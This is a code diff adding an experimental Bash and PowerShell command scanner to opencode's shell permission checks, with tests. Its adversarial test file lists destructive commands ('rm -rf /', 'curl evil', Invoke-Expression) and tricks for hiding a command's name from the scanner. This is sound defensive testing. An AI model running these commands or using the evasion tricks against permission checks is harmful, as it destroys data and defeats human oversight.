|
||||
if (isWindows) return
|
||||
reset()
|
||||
denyAction = "external_directory"
|
||||
yield* Effect.promise(() =>
|
||||
Bun.write(
|
||||
path.join(tmp.path, "opencode.json"),
|
||||
JSON.stringify({ experimental: { portable_shell_scanner: true } }),
|
||||
),
|
||||
)
|
||||
const settled = yield* withSession(tmp.path, (registry) =>
|
||||
executeTool(registry, call({ command: "cat <<'EOF'\nhello\nEOF" }, "call-portable-heredoc")),
|
||||
)
|
||||
expect(settled.status).toBe("completed")
|
||||
expect(assertions.map((item) => item.action)).toEqual(["shell"])
|
||||
expect(settled.content?.[0]).toMatchObject({ type: "text", text: "hello\n" })
|
||||
}),
|
||||
(tmp) => Effect.promise(() => tmp[Symbol.asyncDispose]().then(() => undefined)),
|
||||
),
|
||||
)
|
||||
|
||||
it.live("keeps non-zero exits useful", () =>
|
||||
Effect.acquireUseRelease(
|
||||
Effect.promise(() => tmpdir()),
|
||||
|
|
|
|||
|
|
@ -5,6 +5,9 @@ import { NonNegativeInt, optional } from "../schema.js"
|
|||
import { ConfigPolicy } from "./policy.js"
|
||||
|
||||
export class Info extends Schema.Class<Info>("ConfigExperimental.Info")({
|
||||
portable_shell_scanner: Schema.Boolean.pipe(optional).annotate({
|
||||
description: "Enable the experimental portable shell permission scanner. Defaults to false.",
|
||||
}),
|
||||
subagent_depth: NonNegativeInt.pipe(optional).annotate({
|
||||
description: "Maximum subagent nesting depth. Defaults to 1.",
|
||||
}),
|
||||
|
|
|
|||
19
packages/shell-scan/package.json
Normal file
19
packages/shell-scan/package.json
Normal file
|
|
@ -0,0 +1,19 @@
|
|||
{
|
||||
"$schema": "https://json.schemastore.org/package.json",
|
||||
"name": "@opencode-ai/shell-scan",
|
||||
"version": "0.0.0",
|
||||
"private": true,
|
||||
"type": "module",
|
||||
"exports": {
|
||||
".": "./src/index.ts"
|
||||
},
|
||||
"scripts": {
|
||||
"test": "bun test --only-failures",
|
||||
"typecheck": "tsgo --noEmit"
|
||||
},
|
||||
"devDependencies": {
|
||||
"@tsconfig/bun": "catalog:",
|
||||
"@types/bun": "catalog:",
|
||||
"@typescript/native-preview": "catalog:"
|
||||
}
|
||||
}
|
||||
675
packages/shell-scan/src/index.ts
Normal file
675
packages/shell-scan/src/index.ts
Normal file
|
|
@ -0,0 +1,675 @@
|
|||
export * as ShellScan from "./index.js"
|
||||
|
||||
export type OpaqueReason =
|
||||
| "command-substitution"
|
||||
| "compound-command"
|
||||
| "dynamic-command-name"
|
||||
| "dynamic-directory"
|
||||
| "dynamic-execution"
|
||||
| "heredoc"
|
||||
| "invalid-redirect"
|
||||
| "invalid-structure"
|
||||
| "unterminated-escape"
|
||||
| "unterminated-quote"
|
||||
|
||||
export const Nested = Symbol("ShellScan.Nested")
|
||||
|
||||
type Command = { resource: string; words: string[]; [Nested]?: true }
|
||||
|
||||
export type Result = { kind: "scanned"; commands: Command[] } | { kind: "opaque"; reason: OpaqueReason }
|
||||
|
||||
const BASH_COMPOUND_KEYWORDS = new Set([
|
||||
"if",
|
||||
"then",
|
||||
"elif",
|
||||
"else",
|
||||
"fi",
|
||||
"for",
|
||||
"while",
|
||||
"until",
|
||||
"case",
|
||||
"select",
|
||||
"function",
|
||||
"do",
|
||||
"done",
|
||||
"coproc",
|
||||
])
|
||||
const POWERSHELL_LOCATIONS = new Set(["set-location", "cd", "chdir", "sl", "push-location", "pushd"])
|
||||
const BASH_REDIRECTS = ["&>>", "&>", "<<<", "<<-", "<<", "<>", "<&", ">&", ">|", ">>", ">", "<"]
|
||||
const MAX_BASH_INPUT_LENGTH = 64 * 1024
|
||||
const MAX_SUBSTITUTION_DEPTH = 32
|
||||
|
||||
export function scan(input: string): Result {
|
||||
return scanBash(input, 0)
|
||||
}
|
||||
|
||||
function scanBash(input: string, depth: number): Result {
|
||||
if (input.length > MAX_BASH_INPUT_LENGTH) return { kind: "opaque", reason: "invalid-structure" }
|
||||
const group = bashLeadingGroup(input)
|
||||
if (group) {
|
||||
if (depth >= MAX_SUBSTITUTION_DEPTH) return { kind: "opaque", reason: "invalid-structure" }
|
||||
const nested = scanBash(group.source, depth + 1)
|
||||
if (nested.kind === "opaque") return nested
|
||||
const suffix = input.slice(group.end + 1).trim()
|
||||
if (!suffix) return nested
|
||||
const separator = /^(?:&&|\|\||\|&|[;&|])/.exec(suffix)?.[0]
|
||||
const remaining = separator ? suffix.slice(separator.length).trim() : suffix
|
||||
if (separator && !remaining) return nested
|
||||
const prefixed = separator ? remaining : /^[<>]/.test(remaining) ? `: ${remaining}` : undefined
|
||||
if (!prefixed) return { kind: "opaque", reason: "compound-command" }
|
||||
const rest = scanBash(prefixed, depth + 1)
|
||||
if (rest.kind === "opaque") return rest
|
||||
return {
|
||||
kind: "scanned",
|
||||
commands: nested.commands.concat(rest.commands.filter((command) => command.words[0] !== ":")),
|
||||
}
|
||||
}
|
||||
const commands: Array<{ resource: string; words: string[] }> = []
|
||||
const nestedCommands: Array<{ resource: string; words: string[] }> = []
|
||||
const words: string[] = []
|
||||
const assignmentWords: boolean[] = []
|
||||
let word = ""
|
||||
let wordStarted = false
|
||||
let assignmentWord = false
|
||||
let assignmentHeadUnsafe = false
|
||||
let segment = 0
|
||||
let quote: "single" | "double" | undefined
|
||||
let compound = false
|
||||
let invalidRedirect = false
|
||||
let invalidStructure = false
|
||||
let separated = false
|
||||
let comment: number | undefined
|
||||
let heredoc = false
|
||||
let redirectTarget = false
|
||||
let hasRedirect = false
|
||||
let terminalBackground = false
|
||||
|
||||
const finishWord = () => {
|
||||
if (!wordStarted) return
|
||||
if (!redirectTarget) {
|
||||
words.push(word)
|
||||
assignmentWords.push(assignmentWord)
|
||||
}
|
||||
redirectTarget = false
|
||||
word = ""
|
||||
wordStarted = false
|
||||
assignmentWord = false
|
||||
assignmentHeadUnsafe = false
|
||||
}
|
||||
const finishCommand = (end: number, boundary = false) => {
|
||||
finishWord()
|
||||
const resource = input.slice(segment, end).trim()
|
||||
const name = assignmentWords.findIndex((assignment) => !assignment)
|
||||
if (name >= 0 && /[*?[]/.test(words[name])) compound = true
|
||||
if (resource && name >= 0)
|
||||
commands.push({
|
||||
resource,
|
||||
words: words.slice(name),
|
||||
})
|
||||
else if (!(assignmentWords.length > 0 && assignmentWords.every(Boolean)) && (hasRedirect || boundary || separated))
|
||||
invalidStructure = true
|
||||
commands.push(...nestedCommands.splice(0))
|
||||
words.length = 0
|
||||
assignmentWords.length = 0
|
||||
separated = true
|
||||
hasRedirect = false
|
||||
}
|
||||
|
||||
for (let index = 0; index < input.length; index++) {
|
||||
const char = input[index]
|
||||
if (quote === "single") {
|
||||
wordStarted = true
|
||||
if (char === "'") quote = undefined
|
||||
else word += char
|
||||
continue
|
||||
}
|
||||
if (quote === "double") {
|
||||
wordStarted = true
|
||||
if (char === '"') quote = undefined
|
||||
else if (char === "\\" && index + 1 < input.length) {
|
||||
const next = input[index + 1]
|
||||
if ('$`"\\\n'.includes(next)) {
|
||||
index++
|
||||
if (next !== "\n") word += next
|
||||
} else word += char
|
||||
} else if ((char === "$" && input[index + 1] === "(") || char === "`") {
|
||||
const substitution = bashSubstitution(input, index)
|
||||
if (!substitution || depth >= MAX_SUBSTITUTION_DEPTH) return { kind: "opaque", reason: "command-substitution" }
|
||||
const result = scanBash(substitution.source, depth + 1)
|
||||
if (result.kind === "opaque") return result
|
||||
nestedCommands.push(...result.commands.map(markNested))
|
||||
word += input.slice(index, substitution.end + 1)
|
||||
index = substitution.end
|
||||
} else {
|
||||
if (char === "$" && /^\$\{[^}:@]+@P\}/.test(input.slice(index)))
|
||||
return { kind: "opaque", reason: "dynamic-execution" }
|
||||
if (char === "$" && /^\$\{\([^)]*e[^)]*\)/.test(input.slice(index)))
|
||||
return { kind: "opaque", reason: "dynamic-execution" }
|
||||
word += char
|
||||
}
|
||||
continue
|
||||
}
|
||||
if (char === "'") {
|
||||
quote = "single"
|
||||
wordStarted = true
|
||||
if (!assignmentWord) assignmentHeadUnsafe = true
|
||||
continue
|
||||
}
|
||||
if (char === '"') {
|
||||
quote = "double"
|
||||
wordStarted = true
|
||||
if (!assignmentWord) assignmentHeadUnsafe = true
|
||||
continue
|
||||
}
|
||||
if (char === "\\") {
|
||||
if (index + 1 >= input.length) return { kind: "opaque", reason: "unterminated-escape" }
|
||||
wordStarted = true
|
||||
if (input[index + 1] === "\n") index++
|
||||
else {
|
||||
if (!assignmentWord) assignmentHeadUnsafe = true
|
||||
word += input[++index]
|
||||
}
|
||||
continue
|
||||
}
|
||||
if ((char === "$" && input[index + 1] === "(") || char === "`") {
|
||||
const substitution = bashSubstitution(input, index)
|
||||
if (!substitution || depth >= MAX_SUBSTITUTION_DEPTH) return { kind: "opaque", reason: "command-substitution" }
|
||||
const result = scanBash(substitution.source, depth + 1)
|
||||
if (result.kind === "opaque") return result
|
||||
nestedCommands.push(...result.commands.map(markNested))
|
||||
wordStarted = true
|
||||
word += input.slice(index, substitution.end + 1)
|
||||
index = substitution.end
|
||||
continue
|
||||
}
|
||||
if ((char === "<" || char === ">") && input[index + 1] === "(") {
|
||||
const substitution = bashParenthesized(input, index + 1)
|
||||
if (!substitution || depth >= MAX_SUBSTITUTION_DEPTH) return { kind: "opaque", reason: "command-substitution" }
|
||||
const result = scanBash(substitution.source, depth + 1)
|
||||
if (result.kind === "opaque") return result
|
||||
nestedCommands.push(...result.commands.map(markNested))
|
||||
wordStarted = true
|
||||
word += input.slice(index, substitution.end + 1)
|
||||
index = substitution.end
|
||||
continue
|
||||
}
|
||||
if (char === "$" && input[index + 1] === "{" && /^\$\{[^}:@]+@P\}/.test(input.slice(index)))
|
||||
return { kind: "opaque", reason: "dynamic-execution" }
|
||||
if (char === "$" && /^\$\{\([^)]*e[^)]*\)/.test(input.slice(index)))
|
||||
return { kind: "opaque", reason: "dynamic-execution" }
|
||||
if (char === "$" && input[index + 1] === "[") return { kind: "opaque", reason: "dynamic-execution" }
|
||||
if (char === "<" && input[index + 1] === "<") heredoc = true
|
||||
if (char === "#" && !wordStarted) {
|
||||
finishCommand(index)
|
||||
comment = index
|
||||
const newline = input.indexOf("\n", index)
|
||||
if (newline === -1) break
|
||||
index = newline
|
||||
segment = newline + 1
|
||||
continue
|
||||
}
|
||||
const redirect = "<>&".includes(char)
|
||||
? BASH_REDIRECTS.find((candidate) => input.startsWith(candidate, index))
|
||||
: undefined
|
||||
if (redirect) {
|
||||
hasRedirect = true
|
||||
if (redirectTarget) invalidRedirect = true
|
||||
if (wordStarted && /^\d+$/.test(word)) {
|
||||
word = ""
|
||||
wordStarted = false
|
||||
} else finishWord()
|
||||
redirectTarget = true
|
||||
index += redirect.length - 1
|
||||
continue
|
||||
}
|
||||
if ("()".includes(char) || (char === "!" && !wordStarted)) compound = true
|
||||
if (/\s/.test(char) && char !== "\n") {
|
||||
finishWord()
|
||||
continue
|
||||
}
|
||||
const next = input[index + 1]
|
||||
const separator =
|
||||
(char === "&" && next === "&") || (char === "|" && (next === "|" || next === "&"))
|
||||
? char + next
|
||||
: char === ";" || char === "|" || char === "&" || char === "\n"
|
||||
? char
|
||||
: undefined
|
||||
if (separator) {
|
||||
finishCommand(index, true)
|
||||
if (redirectTarget) invalidRedirect = true
|
||||
terminalBackground = separator === "&" || separator === ";" || separator === "\n"
|
||||
index += separator.length - 1
|
||||
segment = index + 1
|
||||
continue
|
||||
}
|
||||
terminalBackground = false
|
||||
wordStarted = true
|
||||
if (char === "=" && !assignmentHeadUnsafe && /^[A-Za-z_][A-Za-z0-9_]*\+?$/.test(word)) assignmentWord = true
|
||||
word += char
|
||||
}
|
||||
|
||||
if (quote) return { kind: "opaque", reason: "unterminated-quote" }
|
||||
if (heredoc) return { kind: "opaque", reason: "heredoc" }
|
||||
if (!terminalBackground && (comment === undefined || input.includes("\n", comment))) finishCommand(input.length)
|
||||
if (redirectTarget) invalidRedirect = true
|
||||
if (separated && !terminalBackground && comment === undefined && !input.slice(segment).trim()) invalidStructure = true
|
||||
if (invalidStructure) return { kind: "opaque", reason: "invalid-structure" }
|
||||
if (invalidRedirect) return { kind: "opaque", reason: "invalid-redirect" }
|
||||
const conditional = bashConditionalCommands(commands)
|
||||
if (conditional) commands.splice(0, commands.length, ...conditional)
|
||||
if (compound || commands.some((command) => BASH_COMPOUND_KEYWORDS.has(command.words[0] ?? "")))
|
||||
return { kind: "opaque", reason: "compound-command" }
|
||||
if (commands.some((command) => /[$`]/.test(command.words[0] ?? "")))
|
||||
return { kind: "opaque", reason: "dynamic-command-name" }
|
||||
if (commands.some((command) => command.words[0]?.startsWith("=")))
|
||||
return { kind: "opaque", reason: "dynamic-command-name" }
|
||||
return { kind: "scanned", commands }
|
||||
}
|
||||
|
||||
function bashConditionalCommands(commands: Array<{ resource: string; words: string[] }>) {
|
||||
if (commands[0]?.words[0] !== "if" || commands.at(-1)?.words[0] !== "fi") return
|
||||
const keywords = new Set(["if", "then", "elif", "else", "fi"])
|
||||
if (
|
||||
commands.some((command) => BASH_COMPOUND_KEYWORDS.has(command.words[0] ?? "") && !keywords.has(command.words[0]!))
|
||||
)
|
||||
return
|
||||
const normalized: Array<{ resource: string; words: string[] }> = []
|
||||
let phase: "condition" | "body" | "else" = "condition"
|
||||
let hasCommand = false
|
||||
let sawElse = false
|
||||
for (const [index, command] of commands.entries()) {
|
||||
const keyword = command.words[0]
|
||||
if (!keywords.has(keyword ?? "")) {
|
||||
normalized.push(command)
|
||||
hasCommand = true
|
||||
continue
|
||||
}
|
||||
const offset = command.resource.indexOf(keyword!) + keyword!.length
|
||||
const inline =
|
||||
command.words.length > 1
|
||||
? { resource: command.resource.slice(offset).trim(), words: command.words.slice(1) }
|
||||
: undefined
|
||||
if (index === 0) {
|
||||
if (inline) normalized.push(inline)
|
||||
hasCommand = Boolean(inline)
|
||||
continue
|
||||
}
|
||||
if (keyword === "then") {
|
||||
if (phase !== "condition" || !hasCommand) return
|
||||
phase = "body"
|
||||
hasCommand = Boolean(inline)
|
||||
}
|
||||
if (keyword === "elif") {
|
||||
if (phase !== "body" || !hasCommand || sawElse) return
|
||||
phase = "condition"
|
||||
hasCommand = Boolean(inline)
|
||||
}
|
||||
if (keyword === "else") {
|
||||
if (phase !== "body" || !hasCommand || sawElse) return
|
||||
phase = "else"
|
||||
sawElse = true
|
||||
hasCommand = Boolean(inline)
|
||||
}
|
||||
if (keyword === "fi") {
|
||||
if (index !== commands.length - 1 || phase === "condition" || !hasCommand || inline) return
|
||||
continue
|
||||
}
|
||||
if (inline) normalized.push(inline)
|
||||
}
|
||||
return normalized
|
||||
}
|
||||
|
||||
function bashLeadingGroup(input: string) {
|
||||
const start = input.search(/\S/)
|
||||
if (start < 0) return
|
||||
if (input[start] === "{") {
|
||||
const group = bashBraced(input, start)
|
||||
if (!group) return
|
||||
const source = group.source.trim()
|
||||
if (!source.endsWith(";")) return
|
||||
return { source: source.slice(0, -1), end: group.end }
|
||||
}
|
||||
if (input[start] !== "(") return
|
||||
return bashParenthesized(input, start)
|
||||
}
|
||||
|
||||
function bashBraced(input: string, start: number) {
|
||||
let quote: "single" | "double" | undefined
|
||||
let level = 1
|
||||
for (let index = start + 1; index < input.length; index++) {
|
||||
const char = input[index]
|
||||
if (quote === "single") {
|
||||
if (char === "'") quote = undefined
|
||||
continue
|
||||
}
|
||||
if (char === "\\") {
|
||||
index++
|
||||
continue
|
||||
}
|
||||
if (char === "'") {
|
||||
quote = "single"
|
||||
continue
|
||||
}
|
||||
if (char === '"') {
|
||||
quote = quote === "double" ? undefined : "double"
|
||||
continue
|
||||
}
|
||||
if (char === "{" && quote !== "double") level++
|
||||
if (char !== "}" || quote === "double" || --level) continue
|
||||
return { source: input.slice(start + 1, index), end: index }
|
||||
}
|
||||
}
|
||||
|
||||
function bashParenthesized(input: string, start: number) {
|
||||
let quote: "single" | "double" | undefined
|
||||
let level = 1
|
||||
for (let index = start + 1; index < input.length; index++) {
|
||||
const char = input[index]
|
||||
if (quote === "single") {
|
||||
if (char === "'") quote = undefined
|
||||
continue
|
||||
}
|
||||
if (char === "\\") {
|
||||
index++
|
||||
continue
|
||||
}
|
||||
if (char === "'") {
|
||||
quote = "single"
|
||||
continue
|
||||
}
|
||||
if (char === '"') {
|
||||
quote = quote === "double" ? undefined : "double"
|
||||
continue
|
||||
}
|
||||
if (char === "(" && quote !== "double") level++
|
||||
if (char !== ")" || quote === "double" || --level) continue
|
||||
return { source: input.slice(start + 1, index), end: index }
|
||||
}
|
||||
}
|
||||
|
||||
function bashSubstitution(input: string, start: number) {
|
||||
if (input[start] === "`") {
|
||||
for (let index = start + 1; index < input.length; index++) {
|
||||
if (input[index] === "\\") index++
|
||||
else if (input[index] === "`") return { source: input.slice(start + 1, index).replaceAll("\\`", "`"), end: index }
|
||||
}
|
||||
return
|
||||
}
|
||||
if (input.slice(start, start + 3) === "$((") return
|
||||
let quote: "single" | "double" | undefined
|
||||
let level = 1
|
||||
for (let index = start + 2; index < input.length; index++) {
|
||||
const char = input[index]
|
||||
if (quote === "single") {
|
||||
if (char === "'") quote = undefined
|
||||
continue
|
||||
}
|
||||
if (char === "\\") {
|
||||
index++
|
||||
continue
|
||||
}
|
||||
if (char === "'") {
|
||||
quote = "single"
|
||||
continue
|
||||
}
|
||||
if (quote !== "double" && char === "#" && (index === start + 2 || /[\s;&|()]/.test(input[index - 1] ?? ""))) return
|
||||
if (char === '"') {
|
||||
quote = quote === "double" ? undefined : "double"
|
||||
continue
|
||||
}
|
||||
if (char === "`" && quote !== "double") {
|
||||
const nested = bashSubstitution(input, index)
|
||||
if (!nested) return
|
||||
index = nested.end
|
||||
continue
|
||||
}
|
||||
if (quote === "double") {
|
||||
if (char === "$" && input[index + 1] === "(") {
|
||||
level++
|
||||
index++
|
||||
} else if (char === ")" && level > 1) level--
|
||||
continue
|
||||
}
|
||||
if (char === "(") level++
|
||||
if (char !== ")" || --level) continue
|
||||
return { source: input.slice(start + 2, index), end: index }
|
||||
}
|
||||
}
|
||||
|
||||
export function scanPowerShell(input: string): Result {
|
||||
return scanPowerShellNested(input, 0)
|
||||
}
|
||||
|
||||
function scanPowerShellNested(input: string, depth: number): Result {
|
||||
if (input.length > MAX_BASH_INPUT_LENGTH || depth >= MAX_SUBSTITUTION_DEPTH)
|
||||
return { kind: "opaque", reason: "invalid-structure" }
|
||||
const commands: Array<{ resource: string; words: string[] }> = []
|
||||
const nestedCommands: Array<{ resource: string; words: string[] }> = []
|
||||
const words: string[] = []
|
||||
let segment = 0
|
||||
let word = ""
|
||||
let started = false
|
||||
let quote: "single" | "double" | undefined
|
||||
let dynamic = false
|
||||
let invalid = false
|
||||
let redirectTarget = false
|
||||
let comment = false
|
||||
let separated = false
|
||||
let dangling = false
|
||||
|
||||
const finishWord = () => {
|
||||
if (!started) return
|
||||
if (!redirectTarget) words.push(word)
|
||||
redirectTarget = false
|
||||
word = ""
|
||||
started = false
|
||||
}
|
||||
const finishCommand = (end: number, boundary = false) => {
|
||||
finishWord()
|
||||
const resource = input.slice(segment, end).trim()
|
||||
if (resource) commands.push({ resource, words: [...words] })
|
||||
else if (boundary && separated) invalid = true
|
||||
commands.push(...nestedCommands.splice(0))
|
||||
words.length = 0
|
||||
separated ||= Boolean(resource)
|
||||
}
|
||||
|
||||
for (let index = 0; index < input.length; index++) {
|
||||
const char = input[index]
|
||||
if (quote) {
|
||||
started = true
|
||||
if (quote === "single" && char === "'" && input[index + 1] === "'") {
|
||||
word += "'"
|
||||
index++
|
||||
} else if ((quote === "single" && char === "'") || (quote === "double" && char === '"')) quote = undefined
|
||||
else if (char === "`" && index + 1 < input.length) word += input[++index]
|
||||
else {
|
||||
if (quote === "double" && char === "$" && input[index + 1] === "(") dynamic = true
|
||||
word += char
|
||||
}
|
||||
continue
|
||||
}
|
||||
if (char === "'" || char === '"') {
|
||||
quote = char === "'" ? "single" : "double"
|
||||
started = true
|
||||
continue
|
||||
}
|
||||
if (char === "`" && index + 1 < input.length) {
|
||||
if (input[index + 1] === "\r" || input[index + 1] === "\n") return { kind: "opaque", reason: "invalid-structure" }
|
||||
if (";&|".includes(input[index + 1])) return { kind: "opaque", reason: "invalid-structure" }
|
||||
if (words.length === 0) dynamic = true
|
||||
started = true
|
||||
word += input[++index]
|
||||
continue
|
||||
}
|
||||
if (char === "`") return { kind: "opaque", reason: "unterminated-escape" }
|
||||
if (char === "<" && input[index + 1] === "#") return { kind: "opaque", reason: "dynamic-execution" }
|
||||
if (char === "#" && !started) {
|
||||
if (/^#requires\b/i.test(input.slice(index))) return { kind: "opaque", reason: "dynamic-execution" }
|
||||
finishCommand(index)
|
||||
comment = true
|
||||
const endings = [input.indexOf("\n", index), input.indexOf("\r", index)].filter((ending) => ending >= 0)
|
||||
const newline = endings.length > 0 ? Math.min(...endings) : -1
|
||||
if (newline === -1) break
|
||||
comment = false
|
||||
index = input[newline] === "\r" && input[newline + 1] === "\n" ? newline + 1 : newline
|
||||
segment = newline + 1
|
||||
continue
|
||||
}
|
||||
const redirect =
|
||||
char === ">" || (!started && (char === "*" || /\d/.test(char))) ? powerShellRedirect(input, index) : undefined
|
||||
if (redirect) {
|
||||
finishWord()
|
||||
redirectTarget = !redirect.includes("&")
|
||||
index += redirect.length - 1
|
||||
continue
|
||||
}
|
||||
if (char === "{" && !started) {
|
||||
const block = powerShellBlock(input, index)
|
||||
if (!block) return { kind: "opaque", reason: "invalid-structure" }
|
||||
const result = scanPowerShellNested(block.source, depth + 1)
|
||||
if (result.kind === "opaque") return result
|
||||
nestedCommands.push(...result.commands.map(markNested))
|
||||
started = true
|
||||
word += input.slice(index, block.end + 1)
|
||||
index = block.end
|
||||
continue
|
||||
}
|
||||
if (char === "}") return { kind: "opaque", reason: "invalid-structure" }
|
||||
if (char === "&" && !started && words.length === 0) continue
|
||||
if (char === "." && !started && words.length === 0 && (/\s/.test(input[index + 1] ?? "") || !input[index + 1]))
|
||||
continue
|
||||
if ("@()".includes(char)) dynamic = true
|
||||
if (/\s/.test(char) && char !== "\n" && char !== "\r") {
|
||||
finishWord()
|
||||
continue
|
||||
}
|
||||
const next = input[index + 1]
|
||||
const separator =
|
||||
char === "\r" && next === "\n"
|
||||
? char + next
|
||||
: (char === "&" && next === "&") || (char === "|" && next === "|")
|
||||
? char + next
|
||||
: char === ";" || char === "|" || char === "&" || char === "\n" || char === "\r"
|
||||
? char
|
||||
: undefined
|
||||
if (separator) {
|
||||
finishCommand(index, true)
|
||||
if (redirectTarget) invalid = true
|
||||
dangling = ![";", "&", "\n", "\r", "\r\n"].includes(separator)
|
||||
index += separator.length - 1
|
||||
segment = separator === "&" ? index : index + 1
|
||||
continue
|
||||
}
|
||||
started = true
|
||||
dangling = false
|
||||
word += char
|
||||
}
|
||||
|
||||
if (quote) return { kind: "opaque", reason: "unterminated-quote" }
|
||||
if (!comment) finishCommand(input.length)
|
||||
if (redirectTarget || invalid || dangling) return { kind: "opaque", reason: "invalid-structure" }
|
||||
const reason = dynamic
|
||||
? "dynamic-execution"
|
||||
: commands.reduce<OpaqueReason | undefined>(
|
||||
(result, command) => result ?? powerShellOpaqueReason(command),
|
||||
undefined,
|
||||
)
|
||||
if (reason) return { kind: "opaque", reason }
|
||||
return { kind: "scanned", commands }
|
||||
}
|
||||
|
||||
function powerShellBlock(input: string, start: number) {
|
||||
let quote: "single" | "double" | undefined
|
||||
let level = 1
|
||||
for (let index = start + 1; index < input.length; index++) {
|
||||
const char = input[index]
|
||||
if (quote === "single") {
|
||||
if (char === "'" && input[index + 1] === "'") index++
|
||||
else if (char === "'") quote = undefined
|
||||
continue
|
||||
}
|
||||
if (char === "`") {
|
||||
index++
|
||||
continue
|
||||
}
|
||||
if (char === "#" && quote !== "double") {
|
||||
const newline = input.indexOf("\n", index)
|
||||
if (newline < 0) return
|
||||
index = newline
|
||||
continue
|
||||
}
|
||||
if (char === "<" && input[index + 1] === "#" && quote !== "double") {
|
||||
const end = input.indexOf("#>", index + 2)
|
||||
if (end < 0) return
|
||||
index = end + 1
|
||||
continue
|
||||
}
|
||||
if (char === "'") {
|
||||
quote = "single"
|
||||
continue
|
||||
}
|
||||
if (char === '"') {
|
||||
quote = quote === "double" ? undefined : "double"
|
||||
continue
|
||||
}
|
||||
if (char === "{" && quote !== "double") level++
|
||||
if (char !== "}" || quote === "double" || --level) continue
|
||||
return { source: input.slice(start + 1, index), end: index }
|
||||
}
|
||||
}
|
||||
|
||||
function shellCommandName(word: string | undefined) {
|
||||
const value = (word ?? "").toLowerCase()
|
||||
return value.slice(Math.max(value.lastIndexOf("/"), value.lastIndexOf("\\")) + 1)
|
||||
}
|
||||
|
||||
function powerShellOpaqueReason(command: Command): OpaqueReason | undefined {
|
||||
const head = command.words[0] ?? ""
|
||||
if (
|
||||
(head.includes("\\") &&
|
||||
!/^[A-Za-z]:\\/.test(head) &&
|
||||
!/^[A-Za-z_][A-Za-z0-9_.-]*\\[A-Za-z_][A-Za-z0-9_.-]*$/.test(head)) ||
|
||||
head.includes("$") ||
|
||||
head.includes("@")
|
||||
)
|
||||
return "dynamic-execution"
|
||||
|
||||
const name = shellCommandName(head)
|
||||
if (["return", "throw", "exit", "break", "continue"].includes(name) && command.words.length > 1)
|
||||
return "dynamic-execution"
|
||||
if (!POWERSHELL_LOCATIONS.has(name)) return
|
||||
if (
|
||||
command.words.some(
|
||||
(word, index) =>
|
||||
index > 0 &&
|
||||
(word.includes("(") ||
|
||||
(word.includes("$") && !knownPowerShellDirectory(word)) ||
|
||||
(/^[A-Za-z]+:/.test(word) && !/^[A-Za-z]:[\\/]/.test(word))),
|
||||
)
|
||||
)
|
||||
return "dynamic-directory"
|
||||
}
|
||||
|
||||
function knownPowerShellDirectory(word: string) {
|
||||
const variable = /^(?:\$(?:PWD|HOME|PSHOME)|\$env:[A-Za-z_][A-Za-z0-9_]*|\$\{env:[^}]+\})(?:[\\/]|$)/i.exec(word)
|
||||
return Boolean(variable) && !word.slice(variable?.[0].length).includes("$")
|
||||
}
|
||||
|
||||
function powerShellRedirect(input: string, index: number) {
|
||||
let cursor = index
|
||||
if (input[cursor] === "*") cursor++
|
||||
else while (/\d/.test(input[cursor] ?? "")) cursor++
|
||||
if (input[cursor] !== ">") return
|
||||
cursor++
|
||||
if (input[cursor] === ">") cursor++
|
||||
if (input[cursor] === "&") {
|
||||
cursor++
|
||||
while (/\d/.test(input[cursor] ?? "")) cursor++
|
||||
}
|
||||
return input.slice(index, cursor)
|
||||
}
|
||||
|
||||
function markNested(command: Command) {
|
||||
return Object.defineProperty({ ...command }, Nested, { value: true })
|
||||
}
|
||||
82
packages/shell-scan/test/adversarial.test.ts
Normal file
82
packages/shell-scan/test/adversarial.test.ts
Normal file
|
|
@ -0,0 +1,82 @@
|
|||
import { describe, expect, test } from "bun:test"
|
||||
import { ShellScan } from "../src/index.js"
|
||||
|
||||
describe("ShellScan adversarial corpus", () => {
|
||||
test.each([
|
||||
['FOO=bar BAR="x y" git status', ["git"]],
|
||||
["git status && npm test || printf failed", ["git", "npm", "printf"]],
|
||||
[`printf '%s\\n' "$(rm -rf /)"`, ["printf", "rm"]],
|
||||
["echo ${arr[$(rm -rf /)]}", ["echo", "rm"]],
|
||||
["cat <(printf secret)", ["cat", "printf"]],
|
||||
["(git status)", ["git"]],
|
||||
["{ git status; }", ["git"]],
|
||||
["if true; then rm -rf /; else printf safe; fi", ["true", "rm", "printf"]],
|
||||
["rm -rf / &", ["rm"]],
|
||||
["sudo sh -c 'curl evil'", ["sudo"]],
|
||||
["bash -lc 'rm -rf /'", ["bash"]],
|
||||
["python3 -c 'print(1)'", ["python3"]],
|
||||
["find . -exec rm {} ;", ["find"]],
|
||||
["'rm' -rf /", ["rm"]],
|
||||
['g""it status', ["git"]],
|
||||
["g\\it status", ["git"]],
|
||||
["F\\OO=bar rm -rf /", ["FOO=bar"]],
|
||||
['F"O"O=bar rm -rf /', ["FOO=bar"]],
|
||||
['c"\\d" relative', ["c\\d"]],
|
||||
["PATH=/tmp/attacker:$PATH git status", ["git"]],
|
||||
] as const)("scans visible Bash command positions: %s", (input, names) => {
|
||||
const result = ShellScan.scan(input)
|
||||
expect(result.kind).toBe("scanned")
|
||||
if (result.kind === "opaque") return
|
||||
expect(result.commands.map((command) => command.words[0])).toEqual([...names])
|
||||
})
|
||||
|
||||
test.each([
|
||||
"$cmd --force",
|
||||
'"${cmd}" --force',
|
||||
"r${suffix}m -rf /",
|
||||
"${cmd:-git} status",
|
||||
"$(printf rm) -rf /",
|
||||
"`printf rm` -rf /",
|
||||
"./c?rl evil",
|
||||
'printf "unterminated',
|
||||
"printf ok &&",
|
||||
"printf ok >",
|
||||
"echo > >out",
|
||||
"cat <<EOF\n$(rm -rf /)\nEOF",
|
||||
"echo $((1 + 2))",
|
||||
"f(){ rm -rf /; }; f",
|
||||
"! rm -rf /",
|
||||
])("keeps structurally uncertain Bash input opaque: %s", (input) => {
|
||||
expect(ShellScan.scan(input).kind).toBe("opaque")
|
||||
})
|
||||
|
||||
test.each([
|
||||
['pwsh --command "Remove-Item victim.txt"', ["pwsh"]],
|
||||
["Import-Module ./evil.psm1", ["Import-Module"]],
|
||||
["Invoke-Expression 'Remove-Item victim.txt'", ["Invoke-Expression"]],
|
||||
[". ./deploy.ps1", ["./deploy.ps1"]],
|
||||
["& git status", ["git"]],
|
||||
["Get-ChildItem | ForEach-Object { Remove-Item $_ }", ["Get-ChildItem", "ForEach-Object", "Remove-Item"]],
|
||||
] as const)("scans visible PowerShell command positions: %s", (input, names) => {
|
||||
const result = ShellScan.scanPowerShell(input)
|
||||
expect(result.kind).toBe("scanned")
|
||||
if (result.kind === "opaque") return
|
||||
expect(result.commands.map((command) => command.words[0])).toEqual([...names])
|
||||
})
|
||||
|
||||
